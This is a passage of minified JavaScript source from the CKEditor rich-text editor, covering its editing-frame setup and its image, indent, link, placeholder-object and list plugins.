class="cke_voice_label">'+l+"</span>");a.append(c,1),e.on("beforeModeUnload",(function(e){e.removeListener(),c.remove()})),r.setAttributes({"aria-describedby":s,tabIndex:e.tabIndex,allowTransparency:"true"}),!o&&i(),CKEDITOR.env.webkit&&(o=function(){a.setStyle("width","100%"),r.hide(),r.setSize("width",a.getSize("width")),a.removeStyle("width"),r.show()},r.setCustomData("onResize",o),CKEDITOR.document.getWindow().on("resize",o)),e.fire("ariaWidget",r)}))}});var t=CKEDITOR.tools.createClass({$:function(t){this.base.apply(this,arguments),this._.frameLoadedHandler=CKEDITOR.tools.addFunction((function(t){CKEDITOR.tools.setTimeout(e,0,this,t)}),this),this._.docTitle=this.getWindow().getFrame().getAttribute("title")},base:CKEDITOR.editable,proto:{setData:function(e,t){var n=this.editor;if(t)this.setHtml(e),n.fire("dataReady");else{this._.isLoadingData=!0,n._.dataStore={id:1};var i=n.config,o=i.fullPage,r=i.docType,a=CKEDITOR.tools.buildStyleHtml(function(){var e=[];if(8<=CKEDITOR.document.$.documentMode){e.push("html.CSS1Compat [contenteditable=false]{min-height:0 !important}");var t,n=[];for(t in CKEDITOR.dtd.$removeEmpty)n.push("html.CSS1Compat "+t+"[contenteditable=false]");e.push(n.join(",")+"{display:inline-block}")}else CKEDITOR.env.gecko&&(e.push("html{height:100% !important}"),e.push("img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"));return e.push("html{cursor:text;*cursor:auto}"),e.push("img,input,textarea{cursor:default}"),e.join("\n")}()).replace(/<style>/,'<style data-cke-temp="1">');o||(a+=CKEDITOR.tools.buildStyleHtml(n.config.contentsCss));var s=i.baseHref?'<base href="'+i.baseHref+'" data-cke-temp="1" />':"";o&&(e=e.replace(/<!DOCTYPE[^>]*>/i,(function(e){return n.docType=r=e,""})).replace(/<\?xml\s[^\?]*\?>/i,(function(e){return n.xmlDeclaration=e,""}))),e=n.dataProcessor.toHtml(e),o?(/<body[\s|>]/.test(e)||(e="<body>"+e),/<html[\s|>]/.test(e)||(e="<html>"+e+"</html>"),/<head[\s|>]/.test(e)?/<title[\s|>]/.test(e)||(e=e.replace(/<head[^>]*>/,"$&<title></title>")):e=e.replace(/<html[^>]*>/,"$&<head><title></title></head>"),s&&(e=e.replace(/<head>/,"$&"+s)),e=e.replace(/<\/head\s*>/,a+"$&"),e=r+e):e=i.docType+'<html dir="'+i.contentsLangDirection+'" lang="'+(i.contentsLanguage||n.langCode)+'"><head><title>'+this._.docTitle+"</title>"+s+a+"</head><body"+(i.bodyId?' id="'+i.bodyId+'"':"")+(i.bodyClass?' class="'+i.bodyClass+'"':"")+">"+e+"</body></html>",CKEDITOR.env.gecko&&(e=e.replace(/<body/,'<body contenteditable="true" '),2e4>CKEDITOR.env.version&&(e=e.replace(/<body[^>]*>/,"$&\x3c!-- cke-content-start --\x3e"))),i='<script id="cke_actscrpt" type="text/javascript"'+(CKEDITOR.env.ie?' defer="defer" ':"")+">var wasLoaded=0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction("+this._.frameLoadedHandler+",window);wasLoaded=1;}"+(CKEDITOR.env.ie?"onload();":'document.addEventListener("DOMContentLoaded", onload, false );')+"<\/script>",CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(i+='<script id="cke_shimscrpt">window.parent.CKEDITOR.tools.enableHtml5Elements(document)<\/script>'),e=e.replace(/(?=\s*<\/(:?head)>)/,i),this.clearCustomData(),this.clearListeners(),n.fire("contentDomUnload");var l=this.getDocument();try{l.write(e)}catch(t){setTimeout((function(){l.write(e)}),0)}}},getData:function(e){if(e)return this.getHtml();var t=(e=this.editor).config,n=(r=t.fullPage)&&e.docType,i=r&&e.xmlDeclaration,o=this.getDocument(),r=r?o.getDocumentElement().getOuterHtml():o.getBody().getHtml();return CKEDITOR.env.gecko&&t.enterMode!=CKEDITOR.ENTER_BR&&(r=r.replace(/<br>(?=\s*(:?$|<\/body>))/,"")),r=e.dataProcessor.toDataFormat(r),i&&(r=i+"\n"+r),n&&(r=n+"\n"+r),r},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:t.baseProto.focus.call(this)},detach:function(){var e=this.editor,n=e.document,i=e.window.getFrame();t.baseProto.detach.call(this),this.clearCustomData(),n.getDocumentElement().clearCustomData(),i.clearCustomData(),CKEDITOR.tools.removeFunction(this._.frameLoadedHandler),(n=i.removeCustomData("onResize"))&&n.removeListener(),e.fire("contentDomUnload"),i.remove()}}})}(),CKEDITOR.config.disableObjectResizing=!1,CKEDITOR.config.disableNativeTableHandles=!0,CKEDITOR.config.disableNativeSpellChecker=!0,CKEDITOR.config.contentsCss=CKEDITOR.basePath+"contents.css",function(){function e(e,t){if(t||(t=e.getSelection().getSelectedElement()),t&&t.is("img")&&!t.data("cke-realelement")&&!t.isReadOnly())return t}function t(e){var t=e.getStyle("float");return"inherit"!=t&&"none"!=t||(t=0),t||(t=e.getAttribute("align")),t}CKEDITOR.plugins.add("image",{requires:"dialog",init:function(t){CKEDITOR.dialog.add("image",this.path+"dialogs/image.js");var n="img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}";CKEDITOR.dialog.isTabEnabled(t,"image","advanced")&&(n="img[alt,dir,id,lang,longdesc,!src,title]{*}(*)"),t.addCommand("image",new CKEDITOR.dialogCommand("image",{allowedContent:n,requiredContent:"img[alt,src]",contentTransformations:[["img{width}: sizeToStyle","img[width]: sizeToAttribute"],["img{float}: alignmentToStyle","img[align]: alignmentToAttribute"]]})),t.ui.addButton&&t.ui.addButton("Image",{label:t.lang.common.image,command:"image",toolbar:"insert,10"}),t.on("doubleclick",(function(e){var t=e.data.element;t.is("img")&&!t.data("cke-realelement")&&!t.isReadOnly()&&(e.data.dialog="image")})),t.addMenuItems&&t.addMenuItems({image:{label:t.lang.image.menu,command:"image",group:"image"}}),t.contextMenu&&t.contextMenu.addListener((function(n){if(e(t,n))return{image:CKEDITOR.TRISTATE_OFF}}))},afterInit:function(n){function i(i){var o=n.getCommand("justify"+i);o&&("left"!=i&&"right"!=i||o.on("exec",(function(o){var r=e(n);r&&(t(r)==i?(r.removeStyle("float"),i==t(r)&&r.removeAttribute("align")):r.setStyle("float",i),o.cancel())})),o.on("refresh",(function(o){var r=e(n);r&&(r=t(r),this.setState(r==i?CKEDITOR.TRISTATE_ON:"right"==i||"left"==i?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),o.cancel())})))}i("left"),i("right"),i("center"),i("block")}})}(),CKEDITOR.config.image_removeLinkByEmptyURL=!0,function(){function e(e,i){var o,r;i.on("refresh",(function(e){var i,o=[t];for(i in e.data.states)o.push(e.data.states[i]);this.setState(CKEDITOR.tools.search(o,n)?n:t)}),i,null,100),i.on("exec",(function(t){o=e.getSelection(),r=o.createBookmarks(1),t.data||(t.data={}),t.data.done=!1}),i,null,0),i.on("exec",(function(){e.forceNextSelectionCheck(),o.selectBookmarks(r)}),i,null,100)}var t=CKEDITOR.TRISTATE_DISABLED,n=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indent",{init:function(t){var n=CKEDITOR.plugins.indent.genericDefinition;e(t,t.addCommand("indent",new n(!0))),e(t,t.addCommand("outdent",new n)),t.ui.addButton&&(t.ui.addButton("Indent",{label:t.lang.indent.indent,command:"indent",directional:!0,toolbar:"indent,20"}),t.ui.addButton("Outdent",{label:t.lang.indent.outdent,command:"outdent",directional:!0,toolbar:"indent,10"})),t.on("dirChanged",(function(e){var n=t.createRange(),i=e.data.node;n.setStartBefore(i),n.setEndAfter(i);for(var o,r=new CKEDITOR.dom.walker(n);o=r.next();)if(o.type==CKEDITOR.NODE_ELEMENT)if(!o.equals(i)&&o.getDirection())n.setStartAfter(o),r=new CKEDITOR.dom.walker(n);else{var a=t.config.indentClasses;if(a)for(var s="ltr"==e.data.dir?["_rtl",""]:["","_rtl"],l=0;l<a.length;l++)o.hasClass(a[l]+s[0])&&(o.removeClass(a[l]+s[0]),o.addClass(a[l]+s[1]));a=o.getStyle("margin-right"),s=o.getStyle("margin-left"),a?o.setStyle("margin-left",a):o.removeStyle("margin-left"),s?o.setStyle("margin-right",s):o.removeStyle("margin-right")}}))}}),CKEDITOR.plugins.indent={genericDefinition:function(e){this.isIndent=!!e,this.startDisabled=!this.isIndent},specificDefinition:function(e,t,n){this.name=t,this.editor=e,this.jobs={},this.enterBr=e.config.enterMode==CKEDITOR.ENTER_BR,this.isIndent=!!n,this.relatedGlobal=n?"indent":"outdent",this.indentKey=n?9:CKEDITOR.SHIFT+9,this.database={}},registerCommands:function(e,t){e.on("pluginsLoaded",(function(){for(var e in t)!function(e,t){var n,i=e.getCommand(t.relatedGlobal);for(n in t.jobs)i.on("exec",(function(i){i.data.done||(e.fire("lockSnapshot"),t.execJob(e,n)&&(i.data.done=!0),e.fire("unlockSnapshot"),CKEDITOR.dom.element.clearAllMarkers(t.database))}),this,null,n),i.on("refresh",(function(i){i.data.states||(i.data.states={}),i.data.states[t.name+"@"+n]=t.refreshJob(e,n,i.data.path)}),this,null,n);e.addFeature(t)}(this,t[e])}))}},CKEDITOR.plugins.indent.genericDefinition.prototype={context:"p",exec:function(){}},CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(e,n){var i=this.jobs[n];if(i.state!=t)return i.exec.call(this,e)},refreshJob:function(e,n,i){return(n=this.jobs[n]).state=e.activeFilter.checkFeature(this)?n.refresh.call(this,e,i):t,n.state},getContext:function(e){return e.contains(this.context)}}}(),function(){function e(e){function t(t){for(var n=o.startContainer,l=o.endContainer;n&&!n.getParent().equals(t);)n=n.getParent();for(;l&&!l.getParent().equals(t);)l=l.getParent();if(!n||!l)return!1;for(var c=n,d=(n=[],!1);!d;)c.equals(l)&&(d=!0),n.push(c),c=c.getNext();if(1>n.length)return!1;for(c=t.getParents(!0),l=0;l<c.length;l++)if(c[l].getName&&s[c[l].getName()]){t=c[l];break}c=r.isIndent?1:-1,l=n[0],n=n[n.length-1];var u,h=(d=CKEDITOR.plugins.list.listToArray(t,a))[n.getCustomData("listarray_index")].indent;for(l=l.getCustomData("listarray_index");l<=n.getCustomData("listarray_index");l++)if(d[l].indent+=c,0<c){var m=d[l].parent;d[l].parent=new CKEDITOR.dom.element(m.getName(),m.getDocument())}for(l=n.getCustomData("listarray_index")+1;l<d.length&&d[l].indent>h;l++)d[l].indent+=c;if(n=CKEDITOR.plugins.list.arrayToList(d,a,null,e.config.enterMode,t.getDirection()),!r.isIndent&&(u=t.getParent())&&u.is("li")){var f,E=[];for(l=(c=n.listNode.getChildren()).count()-1;0<=l;l--)(f=c.getItem(l))&&f.is&&f.is("li")&&E.push(f)}if(n&&n.listNode.replace(t),E&&E.length)for(l=0;l<E.length;l++){for(f=t=E[l];(f=f.getNext())&&f.is&&f.getName()in s;)CKEDITOR.env.needsNbspFiller&&!t.getFirst(i)&&t.append(o.document.createText(" ")),t.append(f);t.insertAfter(u)}return n&&e.fire("contentDomInvalidated"),!0}for(var o,r=this,a=this.database,s=this.context,l=((l=e.getSelection())&&l.getRanges()).createIterator();o=l.getNextRange();){for(var c=o.getCommonAncestor();c&&(c.type!=CKEDITOR.NODE_ELEMENT||!s[c.getName()]);)c=c.getParent();if(c||(c=o.startPath().contains(s))&&o.setEndAt(c,CKEDITOR.POSITION_BEFORE_END),!c){var d=o.getEnclosedNode();d&&d.type==CKEDITOR.NODE_ELEMENT&&d.getName()in s&&(o.setStartAt(d,CKEDITOR.POSITION_AFTER_START),o.setEndAt(d,CKEDITOR.POSITION_BEFORE_END),c=d)}if(c&&o.startContainer.type==CKEDITOR.NODE_ELEMENT&&o.startContainer.getName()in s&&((d=new CKEDITOR.dom.walker(o)).evaluator=n,o.startContainer=d.next()),c&&o.endContainer.type==CKEDITOR.NODE_ELEMENT&&o.endContainer.getName()in s&&((d=new CKEDITOR.dom.walker(o)).evaluator=n,o.endContainer=d.previous()),c)return t(c)}return 0}function t(e,t){return t||(t=e.contains(this.context)),t&&e.block&&e.block.equals(t.getFirst(n))}function n(e){return e.type==CKEDITOR.NODE_ELEMENT&&e.is("li")}function i(e){return o(e)&&r(e)}var o=CKEDITOR.dom.walker.whitespaces(!0),r=CKEDITOR.dom.walker.bookmark(!1,!0),a=CKEDITOR.TRISTATE_DISABLED,s=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indentlist",{requires:"indent",init:function(n){function i(n,i){o.specificDefinition.apply(this,arguments),this.requiredContent=["ul","ol"],n.on("key",(function(e){if("wysiwyg"==n.mode&&e.data.keyCode==this.indentKey){var i=this.getContext(n.elementPath());!i||this.isIndent&&t.call(this,n.elementPath(),i)||(n.execCommand(this.relatedGlobal),e.cancel())}}),this),this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(e,n){var i=this.getContext(n),o=t.call(this,n,i);return i&&this.isIndent&&!o?s:a}:function(e,t){return!this.getContext(t)||this.isIndent?a:s},exec:CKEDITOR.tools.bind(e,this)}}var o=CKEDITOR.plugins.indent;o.registerCommands(n,{indentlist:new i(n,"indentlist",!0),outdentlist:new i(n,"outdentlist")}),CKEDITOR.tools.extend(i.prototype,o.specificDefinition.prototype,{context:{ol:1,ul:1}})}})}(),function(){function e(e,t){var n=i.exec(e),o=i.exec(t);if(n){if(!n[2]&&"px"==o[2])return o[1];if("px"==n[2]&&!o[2])return o[1]+"px"}return t}var t=CKEDITOR.htmlParser.cssStyle,n=CKEDITOR.tools.cssLength,i=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,o={elements:{$:function(n){var i=n.attributes;if((i=(i=(i=i&&i["data-cke-realelement"])&&new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(i)))&&i.children[0])&&n.attributes["data-cke-resizable"]){var o=new t(n).rules,r=(n=i.attributes,o.width);o=o.height,r&&(n.width=e(n.width,r)),o&&(n.height=e(n.height,o))}return i}}},r=CKEDITOR.plugins.add("fakeobjects",{init:function(e){e.filter.allow("img[!data-cke-realelement,src,alt,title](*){*}","fakeobjects")},afterInit:function(e){(e=(e=e.dataProcessor)&&e.htmlFilter)&&e.addRules(o)}});CKEDITOR.editor.prototype.createFakeElement=function(e,i,o,a){var s=(s=this.lang.fakeobjects)[o]||s.unknown;return i={class:i,"data-cke-realelement":encodeURIComponent(e.getOuterHtml()),"data-cke-real-node-type":e.type,alt:s,title:s,align:e.getAttribute("align")||""},CKEDITOR.env.hc||(i.src=CKEDITOR.getUrl(r.path+"images/spacer.gif")),o&&(i["data-cke-real-element-type"]=o),a&&(i["data-cke-resizable"]=a,o=new t,a=e.getAttribute("width"),e=e.getAttribute("height"),a&&(o.rules.width=n(a)),e&&(o.rules.height=n(e)),o.populate(i)),this.document.createElement("img",{attributes:i})},CKEDITOR.editor.prototype.createFakeParserElement=function(e,i,o,a){var s,l=(l=this.lang.fakeobjects)[o]||l.unknown;return s=new CKEDITOR.htmlParser.basicWriter,e.writeHtml(s),s=s.getHtml(),i={class:i,"data-cke-realelement":encodeURIComponent(s),"data-cke-real-node-type":e.type,alt:l,title:l,align:e.attributes.align||""},CKEDITOR.env.hc||(i.src=CKEDITOR.getUrl(r.path+"images/spacer.gif")),o&&(i["data-cke-real-element-type"]=o),a&&(i["data-cke-resizable"]=a,a=e.attributes,e=new t,o=a.width,a=a.height,null!=o&&(e.rules.width=n(o)),null!=a&&(e.rules.height=n(a)),e.populate(i)),new CKEDITOR.htmlParser.element("img",i)},CKEDITOR.editor.prototype.restoreRealElement=function(t){if(t.data("cke-real-node-type")!=CKEDITOR.NODE_ELEMENT)return null;var n=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(t.data("cke-realelement")),this.document);if(t.data("cke-resizable")){var i=t.getStyle("width");t=t.getStyle("height"),i&&n.setAttribute("width",e(n.getAttribute("width"),i)),t&&n.setAttribute("height",e(n.getAttribute("height"),t))}return n}}(),CKEDITOR.plugins.add("link",{requires:"dialog,fakeobjects",onLoad:function(){function e(e){return n.replace(/%1/g,"rtl"==e?"right":"left").replace(/%2/g,"cke_contents_"+e)}var t="background:url("+CKEDITOR.getUrl(this.path+"images"+(CKEDITOR.env.hidpi?"/hidpi":"")+"/anchor.png")+") no-repeat %1 center;border:1px dotted #00f;background-size:16px;",n=".%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{"+t+"padding-%1:18px;cursor:auto;}"+(CKEDITOR.plugins.link.synAnchorSelector?"a.cke_anchor_empty{display:inline-block;}":"")+".%2 img.cke_anchor{"+t+"width:16px;min-height:15px;height:1.15em;vertical-align:"+(CKEDITOR.env.opera?"middle":"text-bottom")+";}";CKEDITOR.addCss(e("ltr")+e("rtl"))},init:function(e){var t="a[!href]";CKEDITOR.dialog.isTabEnabled(e,"link","advanced")&&(t=t.replace("]",",accesskey,charset,dir,id,lang,name,rel,tabindex,title,type]{*}(*)")),CKEDITOR.dialog.isTabEnabled(e,"link","target")&&(t=t.replace("]",",target,onclick]")),e.addCommand("link",new CKEDITOR.dialogCommand("link",{allowedContent:t,requiredContent:"a[href]"})),e.addCommand("anchor",new CKEDITOR.dialogCommand("anchor",{allowedContent:"a[!name,id]",requiredContent:"a[name]"})),e.addCommand("unlink",new CKEDITOR.unlinkCommand),e.addCommand("removeAnchor",new CKEDITOR.removeAnchorCommand),e.setKeystroke(CKEDITOR.CTRL+76,"link"),e.ui.addButton&&(e.ui.addButton("Link",{label:e.lang.link.toolbar,command:"link",toolbar:"links,10"}),e.ui.addButton("Unlink",{label:e.lang.link.unlink,command:"unlink",toolbar:"links,20"}),e.ui.addButton("Anchor",{label:e.lang.link.anchor.toolbar,command:"anchor",toolbar:"links,30"})),CKEDITOR.dialog.add("link",this.path+"dialogs/link.js"),CKEDITOR.dialog.add("anchor",this.path+"dialogs/anchor.js"),e.on("doubleclick",(function(t){var n=CKEDITOR.plugins.link.getSelectedLink(e)||t.data.element;n.isReadOnly()||(n.is("a")?(t.data.dialog=!n.getAttribute("name")||n.getAttribute("href")&&n.getChildCount()?"link":"anchor",e.getSelection().selectElement(n)):CKEDITOR.plugins.link.tryRestoreFakeAnchor(e,n)&&(t.data.dialog="anchor"))})),e.addMenuItems&&e.addMenuItems({anchor:{label:e.lang.link.anchor.menu,command:"anchor",group:"anchor",order:1},removeAnchor:{label:e.lang.link.anchor.remove,command:"removeAnchor",group:"anchor",order:5},link:{label:e.lang.link.menu,command:"link",group:"link",order:1},unlink:{label:e.lang.link.unlink,command:"unlink",group:"link",order:5}}),e.contextMenu&&e.contextMenu.addListener((function(t){if(!t||t.isReadOnly())return null;if(!(t=CKEDITOR.plugins.link.tryRestoreFakeAnchor(e,t))&&!(t=CKEDITOR.plugins.link.getSelectedLink(e)))return null;var n={};return t.getAttribute("href")&&t.getChildCount()&&(n={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF}),t&&t.hasAttribute("name")&&(n.anchor=n.removeAnchor=CKEDITOR.TRISTATE_OFF),n}))},afterInit:function(e){var t=(n=e.dataProcessor)&&n.dataFilter,n=n&&n.htmlFilter,i=e._.elementsPath&&e._.elementsPath.filters;t&&t.addRules({elements:{a:function(t){var n=t.attributes;if(!n.name)return null;var i=!t.children.length;if(CKEDITOR.plugins.link.synAnchorSelector){t=i?"cke_anchor_empty":"cke_anchor";var o=n.class;n.name&&(!o||0>o.indexOf(t))&&(n.class=(o||"")+" "+t),i&&CKEDITOR.plugins.link.emptyAnchorFix&&(n.contenteditable="false",n["data-cke-editable"]=1)}else if(CKEDITOR.plugins.link.fakeAnchor&&i)return e.createFakeParserElement(t,"cke_anchor","anchor");return null}}}),CKEDITOR.plugins.link.emptyAnchorFix&&n&&n.addRules({elements:{a:function(e){delete e.attributes.contenteditable}}}),i&&i.push((function(t,n){if("a"==n&&(CKEDITOR.plugins.link.tryRestoreFakeAnchor(e,t)||t.getAttribute("name")&&(!t.getAttribute("href")||!t.getChildCount())))return"anchor"}))}}),CKEDITOR.plugins.link={getSelectedLink:function(e){var t=e.getSelection(),n=t.getSelectedElement();return n&&n.is("a")?n:(t=t.getRanges()[0])?(t.shrink(CKEDITOR.SHRINK_TEXT),e.elementPath(t.getCommonAncestor()).contains("a",1)):null},fakeAnchor:CKEDITOR.env.opera||CKEDITOR.env.webkit,synAnchorSelector:CKEDITOR.env.ie&&11>CKEDITOR.env.version,emptyAnchorFix:CKEDITOR.env.ie&&8>CKEDITOR.env.version,tryRestoreFakeAnchor:function(e,t){if(t&&t.data("cke-real-element-type")&&"anchor"==t.data("cke-real-element-type")){var n=e.restoreRealElement(t);if(n.data("cke-saved-name"))return n}}},CKEDITOR.unlinkCommand=function(){},CKEDITOR.unlinkCommand.prototype={exec:function(e){var t=new CKEDITOR.style({element:"a",type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});e.removeStyle(t)},refresh:function(e,t){var n=t.lastElement&&t.lastElement.getAscendant("a",!0);n&&"a"==n.getName()&&n.getAttribute("href")&&n.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:"a[href]"},CKEDITOR.removeAnchorCommand=function(){},CKEDITOR.removeAnchorCommand.prototype={exec:function(e){var t,n=e.getSelection(),i=n.createBookmarks();n&&(t=n.getSelectedElement())&&(CKEDITOR.plugins.link.fakeAnchor&&!t.getChildCount()?CKEDITOR.plugins.link.tryRestoreFakeAnchor(e,t):t.is("a"))?t.remove(1):(t=CKEDITOR.plugins.link.getSelectedLink(e))&&(t.hasAttribute("href")?(t.removeAttributes({name:1,"data-cke-saved-name":1}),t.removeClass("cke_anchor")):t.remove(1)),n.selectBookmarks(i)},requiredContent:"a[name]"},CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,linkShowTargetTab:!0}),function(){function e(e,t,n){function i(n){!(l=d[n?"getFirst":"getLast"]())||l.is&&l.isBlockBoundary()||!(c=t.root[n?"getPrevious":"getNext"](CKEDITOR.dom.walker.invisible(!0)))||c.is&&c.isBlockBoundary({br:1})||e.document.createElement("br")[n?"insertBefore":"insertAfter"](l)}for(var o=CKEDITOR.plugins.list.listToArray(t.root,n),r=[],a=0;a<t.contents.length;a++){var s=t.contents[a];(s=s.getAscendant("li",!0))&&!s.getCustomData("list_item_processed")&&(r.push(s),CKEDITOR.dom.element.setMarker(n,s,"list_item_processed",!0))}for(s=null,a=0;a<r.length;a++)o[s=r[a].getCustomData("listarray_index")].indent=-1;for(a=s+1;a<o.length;a++)if(o[a].indent>o[a-1].indent+1){for(r=o[a-1].indent+1-o[a].indent,s=o[a].indent;o[a]&&o[a].indent>=s;)o[a].indent+=r,a++;a--}var l,c,d=CKEDITOR.plugins.list.arrayToList(o,n,null,e.config.enterMode,t.root.getAttribute("dir")).listNode;i(!0),i(),d.replace(t.root),e.fire("contentDomInvalidated")}function t(e,t){this.name=e,this.context=this.type=t,this.allowedContent=t+" li",this.requiredContent=t}function n(e,t,n,i){for(var o,r;o=e[i?"getLast":"getFirst"](m);)(r=o.getDirection(1))!==t.getDirection(1)&&o.setAttribute("dir",r),o.remove(),n?o[i?"insertBefore":"insertAfter"](n):t.append(o,i)}function i(e){var t;(t=function(t){var i=e[t?"getPrevious":"getNext"](d);i&&i.type==CKEDITOR.NODE_ELEMENT&&i.is(e.getName())&&(n(e,i,null,!t),e.remove(),e=i)})(),t(1)}function o(e){return e.type==CKEDITOR.NODE_ELEMENT&&(e.getName()in CKEDITOR.dtd.$block||e.getName()in CKEDITOR.dtd.$listItem)&&CKEDITOR.dtd[e.getName()]["#"]}function r(e,t,o){e.fire("saveSnapshot"),o.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var r=o.extractContents();t.trim(!1,!0);var s=t.createBookmark(),l=(c=new CKEDITOR.dom.elementPath(t.startContainer)).block,c=c.lastElement.getAscendant("li",1)||l,h=(m=new CKEDITOR.dom.elementPath(o.startContainer)).contains(CKEDITOR.dtd.$listItem),m=m.contains(CKEDITOR.dtd.$list);for(l?(l=l.getBogus())&&l.remove():m&&(l=m.getPrevious(d))&&u(l)&&l.remove(),(l=r.getLast())&&l.type==CKEDITOR.NODE_ELEMENT&&l.is("br")&&l.remove(),(l=t.startContainer.getChild(t.startOffset))?r.insertBefore(l):t.startContainer.append(r),h&&(r=a(h))&&(c.contains(h)?(n(r,h.getParent(),h),r.remove()):c.append(r));o.checkStartOfBlock()&&o.checkEndOfBlock();)(r=(m=o.startPath()).block).is("li")&&(c=r.getParent(),r.equals(c.getLast(d))&&r.equals(c.getFirst(d))&&(r=c)),o.moveToPosition(r,CKEDITOR.POSITION_BEFORE_START),r.remove();o=o.clone(),r=e.editable(),o.setEndAt(r,CKEDITOR.POSITION_BEFORE_END),(o=new CKEDITOR.dom.walker(o)).evaluator=function(e){return d(e)&&!u(e)},(o=o.next())&&o.type==CKEDITOR.NODE_ELEMENT&&o.getName()in CKEDITOR.dtd.$list&&i(o),t.moveToBookmark(s),t.select(),e.fire("saveSnapshot")}function a(e){return(e=e.getLast(d))&&e.type==CKEDITOR.NODE_ELEMENT&&e.getName()in s?e:null}var s={ol:1,ul:1},l=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(),d=function(e){return!(l(e)||c(e))},u=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(e,t,n,i,o){if(!s[e.getName()])return[];i||(i=0),n||(n=[]);for(var r=0,a=e.getChildCount();r<a;r++){var l=e.getChild(r);if(l.type==CKEDITOR.NODE_ELEMENT&&l.getName()in CKEDITOR.dtd.$list&&CKEDITOR.plugins.list.listToArray(l,t,n,i+1),"li"==l.$.nodeName.toLowerCase()){var c={parent:e,indent:i,element:l,contents:[]};o?c.grandparent=o:(c.grandparent=e.getParent(),c.grandparent&&"li"==c.grandparent.$.nodeName.toLowerCase()&&(c.grandparent=c.grandparent.getParent())),t&&CKEDITOR.dom.element.setMarker(t,l,"listarray_index",n.length),n.push(c);for(var d,u=0,h=l.getChildCount();u<h;u++)(d=l.getChild(u)).type==CKEDITOR.NODE_ELEMENT&&s[d.getName()]?CKEDITOR.plugins.list.listToArray(d,t,n,i+1,c.grandparent):c.contents.push(d)}}return n},arrayToList:function(e,t,n,i,o){if(n||(n=0),!e||e.length<n+1)return null;for(var r,a,l,u=e[n].parent.getDocument(),h=new CKEDITOR.dom.documentFragment(u),m=null,f=n,E=Math.max(e[n].indent,0),g=null,T=i==CKEDITOR.ENTER_P?"p":"div";;){var p=e[f];if(r=p.grandparent,a=p.element.getDirection(1),p.indent==E){for(m&&e[f].parent.getName()==m.getName()||(m=e[f].parent.clone(!1,1),o&&m.setAttribute("dir",o),h.append(m)),g=m.append(p.element.clone(0,1)),a!=m.getDirection(1)&&g.setAttribute("dir",a),r=0;r<p.contents.length;r++)g.append(p.contents[r].clone(1,1));f++}else if(p.indent==Math.max(E,0)+1)p=e[f-1].element.getDirection(1),f=CKEDITOR.plugins.list.arrayToList(e,null,f,i,p!=a?a:null),!g.getChildCount()&&CKEDITOR.env.needsNbspFiller&&!(7<u.$.documentMode)&&g.append(u.createText(" ")),g.append(f.listNode),f=f.nextIndex;else{if(-1!=p.indent||n||!r)return null;s[r.getName()]?(g=p.element.clone(!1,!0),a!=r.getDirection(1)&&g.setAttribute("dir",a)):g=new CKEDITOR.dom.documentFragment(u),m=r.getDirection(1)!=a;var C,I,O=p.element,D=O.getAttribute("class"),R=O.getAttribute("style"),v=g.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(i!=CKEDITOR.ENTER_BR||m||R||D),b=p.contents.length;for(r=0;r<b;r++)if(C=p.contents[r],c(C)&&1<b)v?I=C.clone(1,1):g.append(C.clone(1,1));else if(C.type==CKEDITOR.NODE_ELEMENT&&C.isBlockBoundary()){m&&!C.getDirection()&&C.setAttribute("dir",a),l=C;var K=O.getAttribute("style");K&&l.setAttribute("style",K.replace(/([^;])$/,"$1;")+(l.getAttribute("style")||"")),D&&C.addClass(D),l=null,I&&(g.append(I),I=null),g.append(C.clone(1,1))}else v?(l||(l=u.createElement(T),g.append(l),m&&l.setAttribute("dir",a)),R&&l.setAttribute("style",R),D&&l.setAttribute("class",D),I&&(l.append(I),I=null),l.append(C.clone(1,1))):g.append(C.clone(1,1));I&&((l||g).append(I),I=null),g.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&f!=e.length-1&&(CKEDITOR.env.needsBrFiller&&(a=g.getLast())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("br")&&a.remove(),(!(a=g.getLast(d))||a.type!=CKEDITOR.NODE_ELEMENT||!a.is(CKEDITOR.dtd.$block))&&g.append(u.createElement("br"))),("div"==(a=g.$.nodeName.toLowerCase())||"p"==a)&&g.appendBogus(),h.append(g),m=null,f++}if(l=null,e.length<=f||Math.max(e[f].indent,0)<E)break}if(t)for(e=h.getFirst();e;){if(e.type==CKEDITOR.NODE_ELEMENT&&(CKEDITOR.dom.element.clearMarkers(t,e),e.getName()in CKEDITOR.dtd.$listItem&&(u=o=i=void 0,i=(n=e).getDirection()))){for(o=n.getParent();o&&!(u=o.getDirection());)o=o.getParent();i==u&&n.removeAttribute("dir")}e=e.getNextSourceNode()}return{listNode:h,nextIndex:f}}};var h=/^h[1-6]$/,m=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);t.prototype={exec:function(t){this.refresh(t,t.elementPath());var n=t.config,o=t.getSelection(),r=o&&o.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF)if((l=t.editable()).getFirst(d)){var 